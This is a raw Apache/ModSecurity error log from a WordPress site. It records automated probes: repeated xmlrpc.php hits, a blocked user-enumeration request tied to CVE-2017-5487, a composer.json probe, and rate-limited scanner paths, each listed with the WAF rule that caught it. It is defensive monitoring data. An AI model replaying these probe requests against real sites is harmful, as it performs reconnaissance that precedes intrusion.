[Sun Feb 15 12:55:56.395893 2026] [:error] [pid 42752:tid 42763] [client 54.38.214.3:40668] [client 54.38.214.3] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 54.38.214.3, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aZFR3MClY05C-Gq9l0gm1AAAAsQ"]
[Sun Feb 15 12:58:23.407282 2026] [:error] [pid 42753:tid 42805] [client 88.198.14.6:38516] [client 88.198.14.6] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 88.198.14.6, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aZFSbwhQMLzszrBLG6fBDwAAA5I"]
[Sun Feb 15 12:59:05.333989 2026] [:error] [pid 19652:tid 19658] [client 123.57.241.191:38308] [client 123.57.241.191] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 123.57.241.191, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aZFSmTHg2T9K5fiyOL-lOwAAAAQ"]
[Sun Feb 15 12:59:07.652216 2026] [:error] [pid 42753:tid 42796] [client 120.55.126.102:50464] [client 120.55.126.102] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 120.55.126.102, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aZFSmwhQMLzszrBLG6fBOwAAA4k"]
[Sun Feb 15 12:59:46.977096 2026] [:error] [pid 42753:tid 42800] [client 47.242.2.139:35254] [client 47.242.2.139] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 47.242.2.139, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aZFSwghQMLzszrBLG6fBaQAAA40"]
[Sun Feb 15 13:00:01.530513 2026] [:error] [pid 31679:tid 31733] [client 162.0.235.223:56900] [client 162.0.235.223] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 162.0.235.223, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aZFS0Rz9Q_0Eh7M-Xr1sIgAAAhg"]
[Sun Feb 15 17:04:20.348585 2026] [:error] [pid 35557:tid 35576] [client 180.93.254.93:38324] [client 180.93.254.93] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 180.93.254.93, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aZGMFMI4REuGME4xEbMvTgAAAk0"]
[Sun Feb 15 17:04:22.773506 2026] [:error] [pid 42754:tid 42818] [client 139.196.26.44:50890] [client 139.196.26.44] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 139.196.26.44, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aZGMFuiCZrZWT4BVy13D_QAAA8Q"]
[Sun Feb 15 17:04:48.488850 2026] [:error] [pid 42659:tid 42669] [client 47.121.189.155:37494] [client 47.121.189.155] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 47.121.189.155, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aZGMMOy3JGHOB-Rj_FZulgAAAEg"]
[Sun Feb 15 17:05:24.115665 2026] [:error] [pid 42753:tid 42808] [client 35.202.223.48:50182] [client 35.202.223.48] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 35.202.223.48, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aZGMVAhQMLzszrBLG6fl-wAAA5U"]
[Sun Feb 15 17:05:31.923481 2026] [:error] [pid 35560:tid 35617] [client 103.159.51.29:65234] [client 103.159.51.29] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.159.51.29, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aZGMWwZSChHPc3occZ4v2wAAAwA"]
[Sun Feb 15 17:05:40.157112 2026] [:error] [pid 19652:tid 19670] [client 121.40.46.168:55308] [client 121.40.46.168] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 121.40.46.168, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aZGMZDHg2T9K5fiyOL_iYwAAABA"]
[Sun Feb 15 17:06:01.227522 2026] [:error] [pid 35497:tid 35533] [client 180.93.254.93:42914] [client 180.93.254.93] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 180.93.254.93, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aZGMecyqpfYzoxiskhtsyAAAAMY"]
[Sun Feb 15 17:23:45.178414 2026] [autoindex:error] [pid 35497:tid 35547] [client 167.86.118.77:65166] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-admin/css/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: binance.com
[Sun Feb 15 21:28:11.856661 2026] [:error] [pid 19652:tid 19671] [client 198.54.114.14:51010] [client 198.54.114.14] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 198.54.114.14, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aZHJ6zHg2T9K5fiyOL8ocAAAABE"]
[Sun Feb 15 21:28:13.624630 2026] [:error] [pid 31679:tid 31730] [client 103.218.123.187:43472] [client 103.218.123.187] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.218.123.187, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aZHJ7Rz9Q_0Eh7M-Xr3TJgAAAhU"]
[Sun Feb 15 21:29:10.147330 2026] [:error] [pid 35557:tid 35583] [client 103.218.123.187:36040] [client 103.218.123.187] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.218.123.187, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aZHKJsI4REuGME4xEbNZ2gAAAlQ"]
[Sun Feb 15 21:29:25.446540 2026] [:error] [pid 14577:tid 14581] [client 103.218.123.187:54152] [client 103.218.123.187] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.218.123.187, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aZHKNXTqrkuce6u39HtVigAAAQE"]
[Sun Feb 15 21:29:45.702571 2026] [:error] [pid 35557:tid 35566] [client 220.158.233.50:55008] [client 220.158.233.50] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 220.158.233.50, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aZHKScI4REuGME4xEbNaGAAAAkM"]
[Sun Feb 15 21:29:55.054707 2026] [:error] [pid 42659:tid 42684] [client 180.93.254.93:56684] [client 180.93.254.93] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 180.93.254.93, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aZHKU-y3JGHOB-Rj_FaZEwAAAFc"]
[Sun Feb 15 21:30:20.717601 2026] [:error] [pid 42659:tid 42685] [client 198.251.89.157:46438] [client 198.251.89.157] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 198.251.89.157, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aZHKbOy3JGHOB-Rj_FaZIAAAAFg"]
[Sun Feb 15 21:30:32.962544 2026] [:error] [pid 14577:tid 14590] [client 211.149.228.57:43240] [client 211.149.228.57] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 211.149.228.57, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aZHKeHTqrkuce6u39HtVrwAAAQo"]
[Sun Feb 15 23:55:25.170064 2026] [:error] [pid 35560:tid 35636] [client 122.173.27.25:25117] [client 122.173.27.25] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 122.173.27.25, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aZHsbQZSChHPc3occZ5nggAAAxM"]
[Sun Feb 15 23:58:49.975891 2026] [:error] [pid 42659:tid 42685] [client 122.173.27.25:5537] [client 122.173.27.25] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||gigfragments.org|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "gigfragments.org"] [uri "/wp-json/wp/v2/users"] [unique_id "aZHtOey3JGHOB-Rj_FaqqAAAAFg"]
[Mon Feb 16 00:00:24.878153 2026] [:error] [pid 19652:tid 19673] [client 122.173.27.25:15343] [client 122.173.27.25] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 122.173.27.25, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aZHtmDHg2T9K5fiyOL9BPAAAABM"]
[Mon Feb 16 00:02:09.487311 2026] [:error] [pid 31679:tid 31725] [client 122.173.27.25:3506] [client 122.173.27.25] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 122.173.27.25, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aZHuARz9Q_0Eh7M-Xr3orgAAAhA"]
[Mon Feb 16 00:03:50.048523 2026] [:error] [pid 35557:tid 35571] [client 122.173.27.25:13538] [client 122.173.27.25] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 122.173.27.25, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aZHuZsI4REuGME4xEbN8dgAAAkg"]
[Mon Feb 16 00:05:21.802508 2026] [:error] [pid 31679:tid 31724] [client 122.173.27.25:12034] [client 122.173.27.25] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 122.173.27.25, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aZHuwRz9Q_0Eh7M-Xr3pMwAAAg8"]
[Mon Feb 16 00:06:53.574361 2026] [:error] [pid 35497:tid 35535] [client 122.173.27.25:13198] [client 122.173.27.25] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 122.173.27.25, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aZHvHcyqpfYzoxiskhuwtAAAAMg"]
[Mon Feb 16 00:39:33.118188 2026] [autoindex:error] [pid 31679:tid 31722] [client 207.180.241.56:56547] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-admin/css/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: binance.com
[Mon Feb 16 00:43:04.056208 2026] [:error] [pid 35557:tid 35580] [client 51.75.151.149:49518] [client 51.75.151.149] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/composer.json" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/cidaas-pro-master/composer.json"] [unique_id "aZH3mMI4REuGME4xEbOGtQAAAlE"]
[Mon Feb 16 01:40:57.568355 2026] [:error] [pid 14577:tid 14591] [client 103.218.123.187:50478] [client 103.218.123.187] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.218.123.187, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aZIFKXTqrkuce6u39Ht8wAAAAQs"]
[Mon Feb 16 01:41:42.959132 2026] [:error] [pid 19652:tid 19657] [client 121.40.46.168:49828] [client 121.40.46.168] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 121.40.46.168, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aZIFVjHg2T9K5fiyOL9VKQAAAAM"]
[Mon Feb 16 01:41:47.531202 2026] [:error] [pid 35560:tid 35638] [client 103.218.123.187:57672] [client 103.218.123.187] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.218.123.187, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aZIFWwZSChHPc3occZ50RAAAAxU"]
[Mon Feb 16 01:42:07.818893 2026] [:error] [pid 42752:tid 42778] [client 103.218.123.187:40026] [client 103.218.123.187] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.218.123.187, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aZIFb8ClY05C-Gq9l0iOSAAAAtM"]
[Mon Feb 16 01:43:15.248433 2026] [:error] [pid 42754:tid 42815] [client 88.198.14.6:40064] [client 88.198.14.6] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 88.198.14.6, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aZIFs-iCZrZWT4BVy10LhQAAA8E"]
[Mon Feb 16 04:26:42.963798 2026] [:error] [pid 4347:tid 4384] [client 220.158.233.50:7708] [client 220.158.233.50] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 220.158.233.50, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aZIsAjFcjv6pEAnSEid-ZAAAABA"]
[Mon Feb 16 04:27:10.374610 2026] [:error] [pid 37004:tid 37009] [client 35.222.174.159:58924] [client 35.222.174.159] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 35.222.174.159, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aZIsHlXWqA9gxE5oGmbpLQAAAQM"]
[Mon Feb 16 04:27:17.320706 2026] [:error] [pid 4455:tid 4474] [client 103.159.51.29:57563] [client 103.159.51.29] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.159.51.29, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aZIsJQNa-4dvQCL0rupPSgAAANE"]
[Mon Feb 16 04:27:23.706757 2026] [:error] [pid 4349:tid 4441] [client 47.94.14.136:45484] [client 47.94.14.136] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 47.94.14.136, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aZIsK8rbZYafUL_3QfzXhgAAAJM"]
[Mon Feb 16 04:28:09.258943 2026] [:error] [pid 37004:tid 37028] [client 34.60.251.148:34206] [client 34.60.251.148] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.60.251.148, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aZIsWVXWqA9gxE5oGmbppgAAARY"]
[Mon Feb 16 04:28:36.361671 2026] [:error] [pid 4347:tid 4383] [client 188.34.181.211:38622] [client 188.34.181.211] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 188.34.181.211, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aZIsdDFcjv6pEAnSEid--AAAAA8"]
[Mon Feb 16 07:39:35.165981 2026] [:error] [pid 4348:tid 4397] [client 51.75.129.164:40724] [client 51.75.129.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20777.aspx"] [unique_id "aZJZN3xbK-cCGKg9ayugPwAAAEI"]
[Mon Feb 16 07:39:37.007738 2026] [:error] [pid 4455:tid 4473] [client 51.75.129.164:49490] [client 51.75.129.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20888.aspx"] [unique_id "aZJZOQNa-4dvQCL0ruqhKAAAANA"]
[Mon Feb 16 07:39:39.056360 2026] [:error] [pid 4348:tid 4410] [client 51.75.129.164:49502] [client 51.75.129.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%2099.aspx"] [unique_id "aZJZO3xbK-cCGKg9ayugRAAAAE8"]
[Mon Feb 16 07:39:41.116652 2026] [:error] [pid 37004:tid 37012] [client 51.75.129.164:49506] [client 51.75.129.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20auto.aspx"] [unique_id "aZJZPVXWqA9gxE5oGmZJfAAAAQY"]
[Mon Feb 16 07:39:43.031626 2026] [:error] [pid 4348:tid 4413] [client 51.75.129.164:49508] [client 51.75.129.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20demo.aspx"] [unique_id "aZJZP3xbK-cCGKg9ayugSwAAAFI"]
[Mon Feb 16 07:39:44.957812 2026] [:error] [pid 37004:tid 37014] [client 51.75.129.164:49522] [client 51.75.129.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20free.aspx"] [unique_id "aZJZQFXWqA9gxE5oGmZJgQAAAQg"]
[Mon Feb 16 07:39:46.970024 2026] [:error] [pid 37004:tid 37027] [client 51.75.129.164:40854] [client 51.75.129.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20game%20666.aspx"] [unique_id "aZJZQlXWqA9gxE5oGmZJhgAAARU"]
[Mon Feb 16 07:39:48.984413 2026] [:error] [pid 4349:tid 4445] [client 51.75.129.164:40858] [client 51.75.129.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20joker.aspx"] [unique_id "aZJZRMrbZYafUL_3QfwdEwAAAJc"]
[Mon Feb 16 07:39:51.012656 2026] [:error] [pid 4349:tid 4434] [client 51.75.129.164:40860] [client 51.75.129.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20online.aspx"] [unique_id "aZJZR8rbZYafUL_3QfwdGwAAAIw"]
[Mon Feb 16 07:39:53.047779 2026] [:error] [pid 4455:tid 4470] [client 51.75.129.164:40866] [client 51.75.129.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20pg%20soft.aspx"] [unique_id "aZJZSQNa-4dvQCL0ruqhPQAAAM0"]
[Mon Feb 16 07:39:55.117313 2026] [:error] [pid 4349:tid 4440] [client 51.75.129.164:40878] [client 51.75.129.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20pg%20vip.aspx"] [unique_id "aZJZS8rbZYafUL_3QfwdIwAAAJI"]
[Mon Feb 16 07:39:56.909823 2026] [:error] [pid 37004:tid 37015] [client 51.75.129.164:44090] [client 51.75.129.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20pg%20wallet.aspx"] [unique_id "aZJZTFXWqA9gxE5oGmZJjgAAAQk"]
[Mon Feb 16 07:39:58.767864 2026] [:error] [pid 4455:tid 4464] [client 51.75.129.164:44100] [client 51.75.129.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20super%20wallet.aspx"] [unique_id "aZJZTgNa-4dvQCL0ruqhSgAAAMc"]
[Mon Feb 16 07:40:00.672530 2026] [:error] [pid 37004:tid 37019] [client 51.75.129.164:44112] [client 51.75.129.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20true%20wallet.aspx"] [unique_id "aZJZUFXWqA9gxE5oGmZJlAAAAQ0"]
